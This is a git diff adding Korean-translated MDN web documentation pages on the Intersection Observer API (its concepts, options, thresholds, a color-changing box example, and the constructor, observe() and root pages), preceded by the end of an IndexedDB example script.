+    console.log("resetActionStatus ...");
+    $('#msg').empty();
+    console.log("resetActionStatus DONE");
+  }
+
+  function addEventListeners() {
+    console.log("addEventListeners");
+
+    $('#register-form-reset').click(function(evt) {
+      resetActionStatus();
+    });
+
+    $('#add-button').click(function(evt) {
+      console.log("add ...");
+      var title = $('#pub-title').val();
+      var biblioid = $('#pub-biblioid').val();
+      if (!title || !biblioid) {
+        displayActionFailure("Required field(s) missing");
+        return;
+      }
+      var year = $('#pub-year').val();
+      if (year != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (isNaN(year))  {
+          displayActionFailure("Invalid year");
+          return;
+        }
+        year = Number(year);
+      } else {
+        year = null;
+      }
+
+      var file_input = $('#pub-file');
+      var selected_file = file_input.get(0).files[0];
+      console.log("selected_file:", selected_file);
+      // Keeping a reference on how to reset the file input in the UI once we
+      // have its value, but instead of doing that we rather use a "reset" type
+      // input in the HTML form.
+      //file_input.val(null);
+      var file_url = $('#pub-file-url').val();
+      if (selected_file) {
+        addPublication(biblioid, title, year, selected_file);
+      } else if (file_url) {
+        addPublicationFromUrl(biblioid, title, year, file_url);
+      } else {
+        addPublication(biblioid, title, year);
+      }
+
+    });
+
+    $('#delete-button').click(function(evt) {
+      console.log("delete ...");
+      var biblioid = $('#pub-biblioid-to-delete').val();
+      var key = $('#key-to-delete').val();
+
+      if (biblioid != '') {
+        deletePublicationFromBib(biblioid);
+      } else if (key != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (key == '' || isNaN(key))  {
+          displayActionFailure("Invalid key");
+          return;
+        }
+        key = Number(key);
+        deletePublication(key);
+      }
+    });
+
+    $('#clear-store-button').click(function(evt) {
+      clearObjectStore();
+    });
+
+    var search_button = $('#search-list-button');
+    search_button.click(function(evt) {
+      displayPubList();
+    });
+
+  }
+
+  openDb();
+  addEventListeners();
+
+})(); // Immediately-Invoked Function Expression (IIFE)
+ +

{{ LiveSampleLink('Full_IndexedDB_example', "Test the online live demo") }}

+ +

See also

+ +

Further reading for you to find out more information if desired.

+ +

Reference

+ + + +

Tutorials and guides

+ + + +

Libraries

+ + diff --git a/files/ko/web/api/intersection_observer_api/index.html b/files/ko/web/api/intersection_observer_api/index.html new file mode 100644 index 0000000000..b8b7af4cce --- /dev/null +++ b/files/ko/web/api/intersection_observer_api/index.html @@ -0,0 +1,598 @@ +--- +title: Intersection Observer API +slug: Web/API/Intersection_Observer_API +translation_of: Web/API/Intersection_Observer_API +--- +
{{DefaultAPISidebar("Intersection Observer API")}}
+ +

Intersection Observer API는 타겟 요소와 상위 요소 또는 최상위 document 의 {{Glossary("viewport")}} 사이의 intersection 내의 변화를 비동기적으로 관찰하는 방법입니다.

+ +

역사적으로 요소의 가시성이나 두 요소의 상대적인 가시성을 탐지하는 것은 어려운 일이었습니다. 일반적으로 알려진 해결방법은 신뢰성이 부족하고 브라우저나 사이트에 부하를 주기때문에 좋지 못한 사용자 경험을 낳습니다. 웹이 성숙함에따라 이러한 정보의 필요성은 커졌습니다. intersection 정보는 아래와 같은 여러가지 이유 때문에 필요합니다:

+ + + +

과거에 intersection 감지를 구현하면 영향을 받는 모든 요소를 알기 위해서 {{domxref("Element.getBoundingClientRect()")}}와 같은 메서드를 호출하는 여러 이벤트 핸들러와 루프가 얽혀있었습니다. 모든 코드가 메인 스레드에서 실행되기 때문에, 이 중 하나라도 성능 문제를 일으킬 수 있습니다. 사이트가 이러한 테스트들과 함께 로드되면 상황이 더욱 나빠질 수 있습니다.

+ +

infinite-scroll이 구현된 웹 페이지를 생각해보십시오. 공급 업체가 제공하는 라이브러리를 사용하여 페이지 전체에 주기적으로 배치되는 광고를 관리하고 여기저기 애니메이션 그래픽이 있으며 알림 상자 등을 그리는 사용자 라이브러리를 사용합니다. 요소들 각각은 자신만의 교차 감지 루틴이 존재하고 이 모든 것들은 메인 스레드 위에서 동작합니다. 

+ +

웹 페이지의 작성자는 사용중인 두 라이브러리의 내부 동작을 거의 알지 못하므로 이러한 일이 발생하는 것을 알지 못할 수도 있습니다. 사용자가 페이지를 스크롤할 때, 이러한 교차 탐지 루틴은 스크롤 처리 코드 중에 반복적으로 실행되므로 사용자는 브라우저, 웹사이트 및 컴퓨터에 좌절감을 느끼게 됩니다.

+ +

Intersection Observer API 는 그들이 감시하고자 하는 요소가 다른 요소({{Glossary("viewport")}})에 들어가거나 나갈때 또는 요청한 부분만큼 두 요소의 교차부분이 변경될 때 마다 실행될 콜백 함수를 등록할 수 있게 합니다. 즉, 사이트는 요소의 교차를 지켜보기 위해 메인 스레드를 사용할 필요가 없어지고 브라우저는 원하는 대로 교차 영역 관리를 최적화 할 수 있습니다.

+ +

정확히 몇 픽셀이 겹쳐졌고 어떠한 픽셀이 겹쳐졌는지 Intersection Observer API 가 알려줄 수 없습니다. 그러나 "N% 정도 교차하는 경우 상호작용이 이루어져야한다." 와 같은 더 일반적인 사용 사례를 다룰 수 있습니다.

+ +

Intersection observer 의 컨셉과 사용

+ +

Intersection Observer API는 다음과 같은 상황에 호출되는 콜백을 생성하는 기능을 제공합니다:

+ +

(1) 대상(target) 으로 칭하는 요소가 기기 뷰포트나 특정 요소(이 API에서 이를 root 요소 혹은 root로 칭함)와 교차함.

+ +

(2) observer가 최초로 타겟을 관측하도록 요청받을 때마다.

+ +

일반적으로, 당신은 요소의 교차성이 가장 가까운 스크롤 가능한 조상에 의해 변경되길 원할 것입니다(혹은 대상 요소가 다른 요소의 자손이 아니라면 뷰포트에 의해 변경될 수 있을 것입니다). document의 루트 요소를 기준으로 해당 요소를 관측하기 위해서는 null을 설정하세요.

+ +

당신이 뷰포트 혹은 다른 요소를 root로 사용하건 간에, 이 API는 같은 방식으로 동작합니다. 대상 요소의 가시성이 변경될 때마다 당신이 등록한 콜백 함수를 실행하며, 그것은 당신이 원하는 만큼 root 요소와 교차합니다.

+ +

root 와 대상 요소가 교차하는 정도를 intersection ratio 라고 합니다. 이것은 대상 요소의 가시성 퍼센티지를 0.0~1.0의 숫자로 표현합니다.

+ +

intersection observer 생성하기

+ +

intersection observer를 생성하기 위해서는 생성자 호출 시 콜백 함수를 제공해야 합니다. 이 콜백 함수는 threshold가 한 방향 혹은 다른 방향으로 교차할 때 실행됩니다.

+ +
let options = {
+  root: document.querySelector('#scrollArea'),
+  rootMargin: '0px',
+  threshold: 1.0
+}
+
+let observer = new IntersectionObserver(callback, options);
+
+ +

threshold: 1.0 은 대상 요소가 root 에 지정된 요소 내에서 100% 보여질 때 콜백이 호출될 것을 의미합니다.

+ +

Intersection observer 설정

+ +

{{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} 생성자에 전달되는 options 객체는 observer 콜백이 호출되는 상황을 조작할 수 있습니다. 이는 아래와 같은 필드를 가집니다:

+ +
+
root
+
대상 객체의 가시성을 확인할 때 사용되는 뷰포트 요소입니다. 이는 대상 객체의 조상 요소여야 합니다. 기본값은 브라우저 뷰포트이며, root 값이 null 이거나 지정되지 않을 때 기본값으로 설정됩니다.
+
rootMargin
+
root 가 가진 여백입니다. 이 속성의 값은 CSS의 {{cssxref("margin")}} 속성과 유사합니다. e.g. "10px 20px 30px 40px" (top, right, bottom, left). 이 값은 퍼센티지가 될 수 있습니다. 이것은 root 요소의 각 측면의 bounding box를 수축시키거나 증가시키며, 교차성을 계산하기 전에 적용됩니다. 기본값은 0입니다.
+
threshold
+
observer의 콜백이 실행될 대상 요소의 가시성 퍼센티지를 나타내는 단일 숫자 혹은 숫자 배열입니다. 만일 50%만큼 요소가 보여졌을 때를 탐지하고 싶다면, 값을 0.5로 설정하면 됩니다. 혹은 25% 단위로 요소의 가시성이 변경될 때마다 콜백이 실행되게 하고 싶다면 [0, 0.25, 0.5, 0.75, 1] 과 같은 배열을 설정하세요.
+ 기본값은 0이며(이는 요소가 1픽셀이라도 보이자 마자 콜백이 실행됨을 의미합니다). 1.0은 요소의 모든 픽셀이 화면에 노출되기 전에는 콜백을 실행시키지 않음을 의미합니다.
+
+ +

Targeting an element to be observed

+ +

Once you have created the observer, you need to give it a target element to watch:

+ +
let target = document.querySelector('#listItem');
+observer.observe(target);
+
+// the callback we setup for the observer will be executed now for the first time
+// it waits until we assign a target to our observer (even if the target is currently not visible)
+
+ +

Whenever the target meets a threshold specified for the IntersectionObserver, the callback is invoked. The callback receives a list of {{domxref("IntersectionObserverEntry")}} objects and the observer:

+ +
let callback = (entries, observer) => {
+  entries.forEach(entry => {
+    // Each entry describes an intersection change for one observed
+    // target element:
+    //   entry.boundingClientRect
+    //   entry.intersectionRatio
+    //   entry.intersectionRect
+    //   entry.isIntersecting
+    //   entry.rootBounds
+    //   entry.target
+    //   entry.time
+  });
+};
+
+ +

Be aware that your callback is executed on the main thread. It should operate as quickly as possible; if anything time-consuming needs to be done, use {{domxref("Window.requestIdleCallback()")}}.

+ +

Also, note that if you specified the root option, the target must be a descendant of the root element.

+ +

How intersection is calculated

+ +

All areas considered by the Intersection Observer API are rectangles; elements which are irregularly shaped are considered as occupying the smallest rectangle which encloses all of the element's parts. Similarly, if the visible portion of an element is not rectangular, the element's intersection rectangle is construed to be the smallest rectangle that contains all the visible portions of the element.

+ +

It's useful to understand a bit about how the various properties provided by {{domxref("IntersectionObserverEntry")}} describe an intersection.

+ +

The intersection root and root margin

+ +

Before we can track the intersection of an element with a container, we need to know what that container is. That container is the intersection root, or root element. This can be either a specific element in the document which is an ancestor of the element to be observed, or null to use the document's viewport as the container.

+ +

The root intersection rectangle is the rectangle used to check against the target or targets. This rectangle is determined like this:

+ + + +

The root intersection rectangle can be adjusted further by setting the root margin, rootMargin, when creating the {{domxref("IntersectionObserver")}}. The values in rootMargin define offsets added to each side of the intersection root's bounding box to create the final intersection root bounds (which are disclosed in {{domxref("IntersectionObserverEntry.rootBounds")}} when the callback is executed).

+ +

Thresholds

+ +

Rather than reporting every infinitesimal change in how much a target element is visible, the Intersection Observer API uses thresholds. When you create an observer, you can provide one or more numeric values representing percentages of the target element which are visible. Then, the API only reports changes to visibility which cross these thresholds.

+ +

For example, if you want to be informed every time a target's visibility passes backward or forward through each 25% mark, you would specify the array [0, 0.25, 0.5, 0.75, 1] as the list of thresholds when creating the observer. You can tell which direction the visibility changed in (that is, whether the element became more visible or less visible) by checking the value of the {{domxref("IntersectionObserverEntry.isIntersecting", "isIntersecting")}} property on the {{domxref("IntersectionObserverEntry")}} passed into the callback function at the time of the visibility change. If isIntersecting is true, the target element has become at least as visible as the threshold that was passed. If it's false, the target is no longer as visible as the given threshold.

+ +

To get a feeling for how thresholds work, try scrolling the box below around. Each colored box within it displays the percentage of itself that's visible in all four of its corners, so you can see these ratios change over time as you scroll the container. Each box has a different set of thresholds:

+ + + + + +

{{EmbedLiveSample("Threshold_example", 500, 500)}}

+ +

Clipping and the intersection rectangle

+ +

The browser computes the final intersection rectangle as follows; this is all done for you, but it can be helpful to understand these steps in order to better grasp exactly when intersections will occur.

+ +
    +
  1. The target element's bounding rectangle (that is, the smallest rectangle that fully encloses the bounding boxes of every component that makes up the element) is obtained by calling {{domxref("Element.getBoundingClientRect", "getBoundingClientRect()")}} on the target. This is the largest the intersection rectangle may be. The remaining steps will remove any portions that don't intersect.
  2. +
  3. Starting at the target's immediate parent block and moving outward, each containing block's clipping (if any) is applied to the intersection rectangle. A block's clipping is determined based on the intersection of the two blocks and the clipping mode (if any) specified by the {{cssxref("overflow")}} property. Setting overflow to anything but visible causes clipping to occur.
  4. +
  5. If one of the containing elements is the root of a nested browsing context (such as the document contained in an {{HTMLElement("iframe")}}, the intersection rectangle is clipped to the containing context's viewport, and recursion upward through the containers continues with the container's containing block. So if the top level of an <iframe> is reached, the intersection rectangle is clipped to the frame's viewport, then the frame's parent element is the next block recursed through toward the intersection root.
  6. +
  7. When recursion upward reaches the intersection root, the resulting rectangle is mapped to the intersection root's coordinate space.
  8. +
  9. The resulting rectangle is then updated by intersecting it with the root intersection rectangle.
  10. +
  11. This rectangle is, finally, mapped to the coordinate space of the target's {{domxref("document")}}.
  12. +
+ +

Intersection change callbacks

+ +

When the amount of a target element which is visible within the root element crosses one of the visibility thresholds, the {{domxref("IntersectionObserver")}} object's callback is executed. The callback receives as input an array of all of IntersectionObserverEntry objects, one for each threshold which was crossed, and a reference to the IntersectionObserver object itself.

+ +

Each entry in the list of thresholds is an {{domxref("IntersectionObserverEntry")}} object describing one threshold that was crossed; that is, each entry describes how much of a given element is intersecting with the root element, whether or not the element is considered to be intersecting or not, and the direction in which the transition occurred.

+ +

The code snippet below shows a callback which keeps a counter of how many times elements transition from not intersecting the root to intersecting by at least 75%.

+ +
intersectionCallback(entries) => {
+  entries.forEach(entry => {
+    if (entry.isIntersecting) {
+      let elem = entry.target;
+
+      if (entry.intersectionRatio >= 0.75) {
+        intersectionCounter++;
+      }
+    }
+  });
+}
+
+ +

Interfaces

+ +
+
{{domxref("IntersectionObserver")}}
+
The primary interface for the Intersection Observer API. Provides methods for creating and managing an observer which can watch any number of target elements for the same intersection configuration. Each observer can asynchronously observe changes in the intersection between one or more target elements and a shared ancestor element or with their top-level {{domxref("Document")}}'s {{Glossary('viewport')}}. The ancestor or viewport is referred to as the root.
+
{{domxref("IntersectionObserverEntry")}}
+
Describes the intersection between the target element and its root container at a specific moment of transition. Objects of this type can only be obtained in two ways: as an input to your IntersectionObserver callback, or by calling {{domxref("IntersectionObserver.takeRecords()")}}.
+
+ +

A simple example

+ +

This simple example causes a target element to change its color and transparency as it becomes more or less visible. At Timing element visibility with the Intersection Observer API, you can find a more extensive example showing how to time how long a set of elements (such as ads) are visible to the user and to react to that information by recording statistics or by updating elements..

+ +

HTML

+ +

The HTML for this example is very short, with a primary element which is the box that we'll be targeting (with the creative ID "box") and some contents within the box.

+ +
<div id="box">
+  <div class="vertical">
+    Welcome to <strong>The Box!</strong>
+  </div>
+</div>
+ +

CSS

+ +

The CSS isn't terribly important for the purposes of this example; it lays out the element and establishes that the {{cssxref("background-color")}} and {{cssxref("border")}} attributes can participate in CSS transitions, which we'll use to affect the changes to the element as it becomes more or less obscured.

+ +
#box {
+  background-color: rgba(40, 40, 190, 255);
+  border: 4px solid rgb(20, 20, 120);
+  transition: background-color 1s, border 1s;
+  width: 350px;
+  height: 350px;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  padding: 20px;
+}
+
+.vertical {
+  color: white;
+  font: 32px "Arial";
+}
+
+.extra {
+  width: 350px;
+  height: 350px;
+  margin-top: 10px;
+  border: 4px solid rgb(20, 20, 120);
+  text-align: center;
+  padding: 20px;
+}
+ +

JavaScript

+ +

Finally, let's take a look at the JavaScript code that uses the Intersection Observer API to make things happen.

+ +

Setting up

+ +

First, we need to prepare some variables and install the observer.

+ +
const numSteps = 20.0;
+
+let boxElement;
+let prevRatio = 0.0;
+let increasingColor = "rgba(40, 40, 190, ratio)";
+let decreasingColor = "rgba(190, 40, 40, ratio)";
+
+// Set things up
+window.addEventListener("load", (event) => {
+  boxElement = document.querySelector("#box");
+
+  createObserver();
+}, false);
+ +

The constants and variables we set up here are:

+ +
+
numSteps
+
A constant which indicates how many thresholds we want to have between a visibility ratio of 0.0 and 1.0.
+
prevRatio
+
This variable will be used to record what the visibility ratio was the last time a threshold was crossed; this will let us figure out whether the target element is becoming more or less visible.
+
increasingColor
+
A string defining a color we'll apply to the target element when the visibility ratio is increasing. The word "ratio" in this string will be replaced with the target's current visibility ratio, so that the element not only changes color but also becomes increasingly opaque as it becomes less obscured.
+
decreasingColor
+
Similarly, this is a string defining a color we'll apply when the visibility ratio is decreasing.
+
+ +

We call {{domxref("EventTarget.addEventListener", "Window.addEventListener()")}} to start listening for the {{event("load")}} event; once the page has finished loading, we get a reference to the element with the ID "box" using {{domxref("Document.querySelector", "querySelector()")}}, then call the createObserver() method we'll create in a moment to handle building and installing the intersection observer.

+ +

Creating the intersection observer

+ +

The createObserver() method is called once page load is complete to handle actually creating the new {{domxref("IntersectionObserver")}} and starting the process of observing the target element.

+ +
function createObserver() {
+  let observer;
+
+  let options = {
+    root: null,
+    rootMargin: "0px",
+    threshold: buildThresholdList()
+  };
+
+  observer = new IntersectionObserver(handleIntersect, options);
+  observer.observe(boxElement);
+}
+ +

This begins by setting up an options object containing the settings for the observer. We want to watch for changes in visibility of the target element relative to the document's viewport, so root is null. We need no margin, so the margin offset, rootMargin, is specified as "0px". This causes the observer to watch for changes in the intersection between the target element's bounds and those of the viewport, without any added (or subtracted) space.

+ +

The list of visibility ratio thresholds, threshold, is constructed by the function buildThresholdList(). The threshold list is built programmatically in this example since there are a number of them and the number is intended to be adjustable.

+ +

Once options is ready, we create the new observer, calling the {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} constructor, specifying a function to be called when intersection crosses one of our thresholds, handleIntersect(), and our set of options. We then call {{domxref("IntersectionObserver.observe", "observe()")}} on the returned observer, passing into it the desired target element.

+ +

We could opt to monitor multiple elements for visibility intersection changes with respect to the viewport by calling observer.observe() for each of those elements, if we wanted to do so.

+ +

Building the array of threshold ratios

+ +

The buildThresholdList() function, which builds the list of thresholds, looks like this:

+ +
function buildThresholdList() {
+  let thresholds = [];
+  let numSteps = 20;
+
+  for (let i=1.0; i<=numSteps; i++) {
+    let ratio = i/numSteps;
+    thresholds.push(ratio);
+  }
+
+  thresholds.push(0);
+  return thresholds;
+}
+ +

This builds the array of thresholds—each of which is a ratio between 0.0 and 1.0, by pushing the value i/numSteps onto the thresholds array for each integer i between 1 and numSteps. It also pushes 0 to include that value. The result, given the default value of numSteps (20), is the following list of thresholds:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
#Ratio#Ratio
10.05110.55
20.1120.6
30.15130.65
40.2140.7
50.25150.75
60.3160.8
70.35170.85
80.4180.9
90.45190.95
100.5201.0
+ +

We could, of course, hard-code the array of thresholds into our code, and often that's what you'll end up doing. But this example leaves room for adding configuration controls to adjust the granularity, for example.

+ +

Handling intersection changes

+ +

When the browser detects that the target element (in our case, the one with the ID "box") has been unveiled or obscured such that its visibility ratio crosses one of the thresholds in our list, it calls our handler function, handleIntersect():

+ +
function handleIntersect(entries, observer) {
+  entries.forEach((entry) => {
+    if (entry.intersectionRatio > prevRatio) {
+      entry.target.style.backgroundColor = increasingColor.replace("ratio", entry.intersectionRatio);
+    } else {
+      entry.target.style.backgroundColor = decreasingColor.replace("ratio", entry.intersectionRatio);
+    }
+
+    prevRatio = entry.intersectionRatio;
+  });
+}
+ +

For each {{domxref("IntersectionObserverEntry")}} in the list entries, we look to see if the entry's {{domxref("IntersectionObserverEntry.intersectionRatio", "intersectionRatio")}} is going up; if it is, we set the target's {{cssxref("background-color")}} to the string in increasingColor (remember, it's "rgba(40, 40, 190, ratio)"), replaces the word "ratio" with the entry's intersectionRatio. The result: not only does the color get changed, but the transparency of the target element changes, too; as the intersection ratio goes down, the background color's alpha value goes down with it, resulting in an element that's more transparent.

+ +

Similarly, if the intersectionRatio is going down, we use the string decreasingColor and replace the word "ratio" in that with the intersectionRatio before setting the target element's background-color.

+ +

Finally, in order to track whether the intersection ratio is going up or down, we remember the current ratio in the variable prevRatio.

+ +

Result

+ +

Below is the resulting content. Scroll this page up and down and notice how the appearance of the box changes as you do so.

+ +

{{EmbedLiveSample('A_simple_example', 400, 400)}}

+ +

There's an even more extensive example at Timing element visibility with the Intersection Observer API.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IntersectionObserver')}}{{Spec2('IntersectionObserver')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.IntersectionObserver")}}

+ +

See also

+ + diff --git a/files/ko/web/api/intersectionobserver/index.html b/files/ko/web/api/intersectionobserver/index.html new file mode 100644 index 0000000000..762fd3ac09 --- /dev/null +++ b/files/ko/web/api/intersectionobserver/index.html @@ -0,0 +1,97 @@ +--- +title: IntersectionObserver +slug: Web/API/IntersectionObserver +tags: + - API + - Experimental + - Interface + - Intersection Observer API + - IntersectionObserver + - NeedsTranslation + - Reference + - TopicStub + - observers +translation_of: Web/API/IntersectionObserver +--- +
{{APIRef("Intersection Observer API")}}
+ +

Intersection Observer API 의 IntersectionObserver 인터페이스는 대상 요소와 그 상위 요소 혹은 최상위 도큐먼트인 {{Glossary('viewport')}}와의 교차 영역에 대한 변화를 비동기적으로 감지할 수 있도록 도와줍니다.

+ +

 IntersectionObserver 가 생성되면, 루트 내에서 설정된 비율 만큼의 가시성을 계속 감시하도록 설정됩니다. 한번 생성되고 나면, 설정 값은 변경될 수 없으므로, 생성된 감시자 객체는 가시성 정도의 변화를 감시하는 데에만 쓰일 수 있습니다. 하지만 동일한 감시자 객체로 여러 대상 요소를 감시할 수 있습니다.

+ +

Constructor

+ +
+
{{domxref("IntersectionObserver.IntersectionObserver()")}}
+
IntersectionObserver 객체를 생성합니다. 해당 객체는 대상 요소의 가시성이 하나 이상의 설정된 정도 값을 넘을 경우 주어진 콜백 함수를 실행합니다.
+
+ +

Properties

+ +
+
{{domxref("IntersectionObserver.root")}} {{readonlyinline}}
+
대상 요소 ({{domxref("element")}}) 를 감시할 상위 요소. 값을 넣지 않거나 null 일 경우, 최상위 문서의 뷰포트가 사용된다.
+
{{domxref("IntersectionObserver.rootMargin")}} {{readonlyinline}}
+
교차 정도를 계산할 때 루트의 {{Glossary('bounding box')}} 에 적용되는 offset 사각형으로, 루트의 범위를 효과적으로 늘리거나 줄입니다. 이 특성이 반환한 값은, 생성자를 호출 할 때 내부 요구 사항에 맞게 변경 될 수 있으므로 지정된 값과 같지 않을 수 있습니다. 각 offset 은 픽셀(px) 혹은 퍼센트(%)로 표기될 수 있습니다. 기본 값은 "0px 0px 0px 0px" 입니다.
+
{{domxref("IntersectionObserver.thresholds")}} {{readonlyinline}}
+
임계값 목록. 숫자의 오름차순으로 정렬되며, 각 임계 값은 감시하는 대상의 경계 상자 영역과의 교차 비율입니다. 대상에 대한 알림은 해당 대상에 대한 임계 값이 초과 될 때 생성됩니다. 생성자에 값이 전달되지 않을 경우 0이 사용됩니다.
+
+ +

Methods

+ +
+
{{domxref("IntersectionObserver.disconnect()")}}
+
IntersectionObserver 가 어떤 대상이라도 감시하는 것을 중지합니다.
+
{{domxref("IntersectionObserver.observe()")}}
+
대상 요소에 대한 감시를 시작합니다.
+
{{domxref("IntersectionObserver.takeRecords()")}}
+
모든 감시되는 대상의 배열 ({{domxref("IntersectionObserverEntry")}}) 을 리턴합니다.
+
{{domxref("IntersectionObserver.unobserve()")}}
+
특정 대상 요소를 감시하는 것을 중지합니다.
+
+ +

Examples

+ +
var intersectionObserver = new IntersectionObserver(function(entries) {
+  // If intersectionRatio is 0, the target is out of view
+  // and we do not need to do anything.
+  if (entries[0].intersectionRatio <= 0) return;
+
+  loadItems(10);
+  console.log('Loaded new items');
+});
+// start observing
+intersectionObserver.observe(document.querySelector('.scrollerFooter'));
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("IntersectionObserver", "#intersection-observer-interface", "IntersectionObserver")}}{{Spec2('IntersectionObserver')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.IntersectionObserver")}}

+ +

See also

+ + diff --git a/files/ko/web/api/intersectionobserver/intersectionobserver/index.html b/files/ko/web/api/intersectionobserver/intersectionobserver/index.html new file mode 100644 index 0000000000..6f89828d16 --- /dev/null +++ b/files/ko/web/api/intersectionobserver/intersectionobserver/index.html @@ -0,0 +1,87 @@ +--- +title: IntersectionObserver.IntersectionObserver() +slug: Web/API/IntersectionObserver/IntersectionObserver +tags: + - API + - Constructor + - Intersection Observer API + - IntersectionObserver + - Reference +translation_of: Web/API/IntersectionObserver/IntersectionObserver +--- +
{{APIRef("Intersection Observer API")}}
+ +

IntersectionObserver() 생성자는 새로운 {{domxref("IntersectionObserver")}} 객체를 생성하고 반환합니다. rootMargin 옵션을 지정했다면 값의 구문이 맞는지, 범위가 0.0 이상 1.0 이하인지, 그리고 역치가 오름차순으로 정렬됐는지 검사합니다. 역치 목록이 없다면 배열 [0.0]을 사용합니다.

+ +

구문

+ +
new IntersectionObserver(callback[, options]);
+ +

매개변수

+ +
+
callback
+
대상 요소의 화면에 보이는 부분 백분율이 역치보다 클 때 호출할 함수입니다. 다음의 두 매개변수를 받습니다. +
+
entries
+
더 보이거나 덜 보이게 되면서 통과한 역치를 나타내는, {{domxref("IntersectionObserverEntry")}} 객체의 배열.
+
observer
+
자신을 호출한 {{domxref("IntersectionObserver")}}.
+
+
+
options {{optional_inline}}
+
옵저버를 조정할 수 있는 옵션 객체. 지정하지 않는다면 옵저버는 문서의 뷰포트를 루트로 사용하고, 여백은 없이, 역치는 0(1픽셀이라도 변하면 콜백을 호출)이 됩니다. 아래 옵션을 자유롭게 지정할 수 있습니다. +
+
root
+
대상 요소의 조상인 {{domxref ( "Element")}} 객체는 경계 사각형이 뷰포트로 간주됩니다. 루트의 가시 영역에 보이지 않는 대상의 어떤 부분도 가시적 인 것으로 간주되지 않습니다.
+
rootMargin
+
교차점을 계산할 때, 계산 목적으로 루트를 줄이거나 늘리는 경우, 루트의 {{Glossary ( 'bounding_box')}}에 추가 할 오프셋 세트를 지정하는 문자열입니다. 구문은 CSS {{cssxref ( "margin")}} 속성의 구문과 거의 동일합니다. 여백의 작동 방식 및 구문에 대한 자세한 내용은 {{SectionOnPage("/en-US/docs/Web/API/Intersection_Observer_API", "The root element and root margin")}}을 참조하십시오. 기본 설정은 "0px 0px 0px 0px"입니다.
+
+
threshold
+
관측 대상에 대한 전체 상자 영역(루트)에 대한 교차 영역의 비율을 지정하며, 0.0과 1.0 사이의 숫자 하나 혹은 숫자 배열입니다. 0.0 값은 대상의 단일 픽셀이라도 보여지면, 대상이 보이는 것으로 계산되는 것을 의미합니다. 1.0은 전체 대상 요소가 표시됨을 의미합니다. 임계 값 사용 방법에 대한 자세한 설명은 {{SectionOnPage("/en-US/docs/Web/API/Intersection_Observer_API", "Thresholds")}}를 참조하십시오. 기본값은 0.0입니다.
+
+
+
+ +

반환 값

+ +

지정된 가시성 threshold 를 통해 지정된 root 내에서 대상 요소의 가시성을 감시하는 데 사용할 수있는 {{domxref ( "IntersectionObserver")}} 인스턴스가 반환됩니다. {{domxref ( "IntersectionObserver.observe", "observe()")}} 메소드를 호출하여 지정된 대상의 가시성 변경을 관찰하십시오.

+ +

예외

+ +
+
SyntaxError
+
설정된 rootMargin 이 유효하지 않은 경우.
+
RangeError
+
하나 혹은 그 이상의 threshold 가 0.0 - 1.0 사이가 아닌 경우
+
+ +

예제

+ +

아래는 요소의 보여지는 부분이 10% 가 넘거나 작아질 때  myObserverCallback 를 호출하는 새로운 intersection observer 를 생성하는 예제입니다.

+ +
let observer = new IntersectionObserver(myObserverCallback,
+                   {"threshold": 0.1});
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IntersectionObserver','#dom-intersectionobserver-intersectionobserver','IntersectionObserver constructor')}}{{Spec2('IntersectionObserver')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.IntersectionObserver.IntersectionObserver")}}

diff --git a/files/ko/web/api/intersectionobserver/observe/index.html b/files/ko/web/api/intersectionobserver/observe/index.html new file mode 100644 index 0000000000..5ceefe8d77 --- /dev/null +++ b/files/ko/web/api/intersectionobserver/observe/index.html @@ -0,0 +1,65 @@ +--- +title: IntersectionObserver.observe() +slug: Web/API/IntersectionObserver/observe +translation_of: Web/API/IntersectionObserver/observe +--- +
{{APIRef("Intersection Observer API")}}{{SeeCompatTable}}
+ +

The {{domxref("IntersectionObserver")}} observe() 메서드는 IntersectionObserver 객체가 관찰할 엘리먼트 목록에 단일 엘리먼트를 추가합니다. 하나의 옵저버 객체는 단일한 threshold와 root를 가지지만 복수의 타겟 엘리먼트의 가시성 변화를 관찰할 수 있습니다. 만일 엘리먼트 관찰을 중지하고 싶다면 {{domxref("IntersectionObserver.unobserve()")}} 메서드를 호출하세요.

+ +

특정 엘리먼트의 가시성이 다른 옵저버의 가시성 threshold와 교차할 때({{domxref("IntersectionObserver.thresholds")}} 참조), 옵저버 콜백은 발생한 교차성 변경을 알리는 {{domxref("IntersectionObserverEntry")}} 객체와 함께 실행됩니다.

+ +

노트. 이 디자인은 복수 엘리먼트의 교차성 변경이 하나의 콜백 실행을 통해 처리되는 것을 허용합니다.

+ +

문법

+ +
IntersectionObserver.observe(targetElement);
+ +

Parameters

+ +
+
targetElement
+
가시성이 감시될 root 내부의 {{domxref("element")}}. 해당 엘리먼트는 루트 엘리먼트의 자손 노드여야 합니다(혹은 현재 root가 document의 viewport일 때는 현재 document 내부의 엘리먼트여야 합니다).
+
+ +

Return value

+ +

undefined.

+ +
+
+ +

Examples

+ +

<<<...>>>

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IntersectionObserver','#dom-intersectionobserver-observe','IntersectionObserver.observe()')}}{{Spec2('IntersectionObserver')}}Initial definition.
+ +
+

Browser compatibility

+ + + +

{{Compat("api.IntersectionObserver.observe")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/intersectionobserver/root/index.html b/files/ko/web/api/intersectionobserver/root/index.html new file mode 100644 index 0000000000..16ae5eaad2 --- /dev/null +++ b/files/ko/web/api/intersectionobserver/root/index.html @@ -0,0 +1,57 @@ +--- +title: IntersectionObserver.root +slug: Web/API/IntersectionObserver/root +translation_of: Web/API/IntersectionObserver/root +--- +
{{APIRef("Intersection Observer API")}}
+ +

